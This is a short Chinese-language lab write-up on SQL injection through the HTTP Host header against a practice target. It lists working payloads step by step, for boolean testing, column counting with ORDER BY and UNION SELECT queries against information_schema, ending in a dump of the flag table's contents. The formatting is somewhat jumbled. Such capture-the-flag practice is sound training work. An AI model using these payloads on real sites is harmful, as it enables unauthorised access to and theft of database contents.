前言
练习host头部注入。
判断注入点
开启靶场
在host字段进行注入探测:存在sql注入
| 1 | or 1=1 | 
判断字段数
可判断有4个字段
| 1 | order by 4 | 
| 1 | order by 5 | 
判断字段回显位置
可判断回显位置是2,3,4
| 1 | union select 1,2,3,4-- | 
查询数据库信息
- 数据库名称、数据库版本、表名称获取到的信息:1 union select 1,database(),version(),(select group_concat(table_name) from information_schema.tables where table_schema=database())-- 1 
 2
 3数据库名称:pentesterlab 
 数据库版本:10.2.15-MariaDB-log
 表名称:comment,flag,goods,user 
- 获取表flag的信息- 表有两列:id,flag1 union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='flag')--  
- 表的内容:id=1,flag=flag is mozhe4a59661 union select 1,2,id,flag from flag--  
- 获取key 参考参考这篇教程
 
- 表有两列:id,flag




